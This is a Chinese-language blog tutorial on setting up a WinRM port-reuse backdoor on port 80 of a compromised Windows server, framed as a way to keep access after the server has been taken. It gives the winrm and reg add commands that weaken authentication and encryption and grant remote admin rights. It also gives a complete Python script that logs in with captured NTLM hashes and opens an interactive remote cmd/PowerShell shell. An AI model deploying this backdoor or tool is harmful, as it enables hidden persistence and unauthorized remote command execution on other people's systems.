0x0. 基本原理介绍
该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。这句话是抄的。话不多网上有详细介绍。在用本后门的情况下是必须拿下服务器,用来维持一段时间的权限,要想一直不被发现请移步rootkit!
0x1. 后门配置方法
首先查看系统有没有启动该服务,如没有启动请启动,没有启动的情况是返回空,
winrm enumerate winrm/config/listener
启动服务命令,这是交互必须要y 确认启动。比较鸡肋
winrm quickconfig -q
WinRM 没有设置成为了管理此计算机而允许对其进行远程访问。
必须进行以下更改:
在 HTTP://* 上创建 WinRM 侦听程序接受 WS-Man 对此机器上任意 IP 的请求。
启用 WinRM 防火墙异常。
配置 LocalAccountTokenFilterPolicy 以远程向本地用户授予管理权限。
进行这些更改吗[y/n]? y
WinRM 已经进行了更新,以用于远程管理。
在 HTTP://* 上创建 WinRM 侦听程序接受 WS-Man 对此机器上任意 IP 的请求。
WinRM 防火墙异常已启用。
已配置 LocalAccountTokenFilterPolicy 以远程向本地用户授予管理权限。
查看当前配置 如果系统启动的该服务,可以先运行次命令查看服务。
winrm e winrm/config/listener
Listener
Address = *
Transport = HTTP
Port = 5985
Hostname
Enabled = true
URLPrefix = wsman
CertificateThumbprint
ListeningOn = 127.0.0.1, 192.168.1.233, ::1, fe80::5efe:192.168.1.233%12, fe
80::a42e:4069:38ce:e9d%11
配置为winrm service 配置auth
winrm set winrm/config/service/auth '@{Basic="true"}'
Basic = true
Kerberos = true
Negotiate = true
Certificate = false
CredSSP = false
CbtHardeningLevel = Relaxed
为winrm service 配置加密方式为允许非加密,如果不配置此项只能win客户端连接,linux 就用不了。
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
修改WinRM端口实现端口复用
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
Listener
Address = *
Transport = HTTP
Port = 80
Hostname
Enabled = true
URLPrefix = wsman
CertificateThumbprint
ListeningOn = 127.0.0.1, 192.168.1.233, ::1, fe80::5efe:192.168.1.233%12, fe
80::a42e:4069:38ce:e9d%11
ps:新增80端口Listener
对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。
使用下面这条命令即可新增一个80端口的listener
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
RootSDDL = O:NSG:BAD:P(A;;GA;;;BA)S:P(AU;FA;GA;;;WD)(AU;SA;GWGX;;;WD)
MaxConcurrentOperations = 4294967295
MaxConcurrentOperationsPerUser = 15
EnumerationTimeoutms = 60000
MaxConnections = 25
MaxPacketRetrievalTimeSeconds = 120
AllowUnencrypted = true
Auth
Basic = true
Kerberos = true
Negotiate = true
Certificate = false
CredSSP = false
CbtHardeningLevel = Relaxed
DefaultPorts
HTTP = 5985
HTTPS = 5986
IPv4Filter = *
IPv6Filter = *
EnableCompatibilityHttpListener = true
EnableCompatibilityHttpsListener = false
CertificateThumbprint
0x2. 后门连接Python脚本支持Hash登录
系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。也是踩了很多坑,留下了没有技术的眼泪。。。
代码如下:
# encoding: utf-8
# -*-*-
# By:连长 『zh (www.lianzhang.org)』
# -*-*-
import argparse
import requests
import winrm
def GetUrlState(url, port):
"""获取当前后门的状态"""
urls = url + ":" + str(port) + "/wsman"
r = requests.get(urls)
if r.status_code == 405:
return True
else:
return False
def ExecCmd(url, port, cmdshell, mode, **kwargs):
"""执行后门"""
if kwargs.get("hashpasswd"):
try:
Windwoscmd = winrm.Session(url + ":" + str(port), auth=(kwargs.get("user"), kwargs.get("hashpasswd")),
transport="ntlm", server_cert_validation='ignore')
except Exception, ex:
print "[+]> 程序发生错误:" + str(ex)
if mode == "cmd":
print "[+]> 使用原始Cmd执行:" + str(cmdshell)
Result = Windwoscmd.run_cmd(str(cmdshell))
elif mode == "powershell":
print "[+]> 使用powershell执行:" + str(cmdshell)
Result = Windwoscmd.run_ps(str(cmdshell))
else:
print "[*]> 请选择需要执行的方式,cmd & powershell"
exit()
# if Result.status_code != 0:
# print "[*]> 执行失败!请检查执行命令:" + str(cmdshell)
print Result.std_out.decode('gbk')
else:
try:
Windwoscmd = winrm.Session(url + ":" + str(port), auth=(kwargs.get("user"), kwargs.get("passwd")))
except Exception, ex:
print "[+]> 程序发生错误:" + str(ex)
if mode == "cmd":
print "[+]> 使用原始Cmd执行:" + str(cmdshell)
Result = Windwoscmd.run_cmd(str(cmdshell))
elif mode == "powershell":
print "[+]> 使用powershell执行:" + str(cmdshell)
Result = Windwoscmd.run_ps(str(cmdshell))
else:
print "[*]> 请选择需要执行的方式,cmd & powershell"
exit()
# if Result.status_code != 0:
# print "[*]> 执行失败!请检查执行命令:" + str(cmdshell)
print Result.std_out.decode('gbk')
if __name__ == '__main__':
print """
lianzhang.org
"""
parser = argparse.ArgumentParser(description='WinRMTTools by:lianzhang.org')
parser.add_argument("-url", "--url", metavar="", required=True, help="http://www.lianzhang.org")
parser.add_argument("-port", "--port", metavar="", help="The default listening port", default="80")
parser.add_argument("-m", "--mode", metavar="", help="Execution type cmd or powershell", default="cmd")
parser.add_argument("-u", "--user", metavar="", help="username", default="administrator")
parser.add_argument("-p", "--passwd", metavar="", help="password", default="")
parser.add_argument("-hash", "--hashpasswd", metavar="", help="LM:NTLM", default="")
args = parser.parse_args()
print "[+]> 正在执行:" + str(args.url)
if GetUrlState(args.url, args.port):
while True:
try:
try:
cmdshell = raw_input("CmdShell> ")
except Exception, ex:
print "[+]> 输入的有问题!"
exit()
if str(cmdshell) == "exit":
exit()
if str(cmdshell) == "?":
print "[+]> 输入你想要执行的windwos命令!"
exit()
ExecCmd(args.url, args.port, cmdshell, args.mode, user=args.user, passwd=args.passwd,
hashpasswd=args.hashpasswd)
except Exception, ex:
print "[*]> 发生严重错误:" + str(ex)
break
else:
print "[*]> Windwos WinRM服务未开启请检查服务是否开启!"
winRMTools.py -url http://192.168.1.233 -port 80 -m powershell -p allsec
winRMTools.py -url http://192.168.1.233 -port 80 -m powershell -hash LM:NTLM
0x3. UAC问题
WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后,普通管理员登录后也是高权限。
0x4. 后门配置一键脚本
为了方便,给出快速启动脚本便于快速启动。
0x5. 结语
本文给出了一种使用WinRM作为端口复用后门的方法。但限于篇幅,还存在很多细节问题没有涉及,留待读者进行更深层次的研究。另外也在此抛出两个小问题,有兴趣的读者可以思考下:
1、在已有WinRM服务的情况下,对于非80端口的web服务要如何处理;
2、HTTPS连接的配置和使用。
3、如何开机启动,如何复用其他端口。